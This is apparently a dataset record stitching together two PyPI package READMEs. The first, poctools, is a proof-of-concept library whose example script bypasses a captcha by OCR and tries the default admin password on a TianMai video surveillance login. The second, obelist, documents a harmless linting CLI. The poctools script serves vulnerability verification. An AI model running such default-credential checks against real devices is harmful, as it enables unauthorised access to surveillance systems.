semvec/pypi-packages huggingface dataset:
poctools 0.0.4
poc common tool library

# poctools

## install

```bash
pip install poctools
```

## example

```python
from poctools import BasicPoc
from poctools.encrypt import md5
from poctools.ocr import new_number


class TianMaiNetworkVideoSurveillanceWeakCipherPoc(BasicPoc):
    jsessionid_uri = "/login.jsp"
    login_uri = "/j_login.auth"
    verify_code_uri = "/jsp/common/validateCode.jsp"

    def __init__(self):
        super(TianMaiNetworkVideoSurveillanceWeakCipherPoc, self).__init__()
        self.name = "天迈网络视频监控弱密码"

    def verify(self, url: str) -> bool:
        jsessionid_response = self.get(url + self.jsessionid_uri)
        if jsessionid_response is None:
            return False
        payload = {"j_apptype": "1", "j_username": "admin", "remember-me": False}
        while True:
            verify_code_response = self.get(url + self.verify_code_uri)
            if verify_code_response is None:
                return False
            code = new_number(verify_code_response.content)
            if len(code) != 4:
                continue
            payload.setdefault("validateCode", code)
            payload.setdefault("j_password", md5("admin" + code))
            login_response = self.post(url + self.login_uri, data=payload)
            if login_response is None:
                return False
            return login_response.status_code == 200 and "验证码有误" not in login_response.text


if __name__ == '__main__':
    target = "http://127.0.0.1:18080"
    tp = TianMaiNetworkVideoSurveillanceWeakCipherPoc()
    result = tp.run(target)
    print(f"{target} -> {result}")
```
obelist 0.0.0a2
A CLI tool for generating standard annotations for linting tools, tests, and so on (including support for GitHub Actions)
Requires Python: >=3.7,<4.0
Keywords: linting,continuous-integration,annotations,tests,github-actions,problem-matcher

# Obelist

_A CLI tool for generating standard annotations for linting tools, tests, and so on (including support for GitHub Actions)_

[![Build][action-build-img]][action-build]

**Table of contents:**

- [Installation](#installation)
- [Usage](#usage)
- [Appendix](#appendix)
  - [Etymology](#etymology)

## Installation

The [obelist][pypi-obelist] package is published to [PyPI][pypi].

Because Obelist is primarily designed to be used as a CLI tool, we recommend that you install the package in an isolated virtual environment using [pipx][pipx], like so:

```console
$ pipx install obelist
```

However, if you want to install Obelist as a library, you can also install the package using [pip][pip]:

```console
$ pip install obelist
```

## Usage

For basic usage information, run:

```console
$ obelist
```

For more detailed help, run:

```console
$ obelist --help
```

## Appendix

### Etymology

The [obelus] is a typographical mark used to "indicate erroneous or dubious content." The _Oxford English Dictionary_ (OED) defines [obelism] as the "action or practice of marking something as spurious."

Obelist, then, serves as both a verbal noun and a play on words: the program's output is, essentially, _a list of obeluses_.

[action-build-img]: https://github.com/nomiro/obelist/actions/workflows/build.yaml/badge.svg
[action-build]: https://github.com/nomiro/obelist/actions/workflows/build.yaml
[obelism]: https://en.wikipedia.org/wiki/Obelism
[obelus]: https://en.wikipedia.org/wiki/Obelus
[pip]: https://pip.pypa.io/en/stable/
[pipx]: https://pypa.github.io/pipx/
[pypi-obelist]: https://pypi.org/project/obelist
[pypi]: https://pypi.org/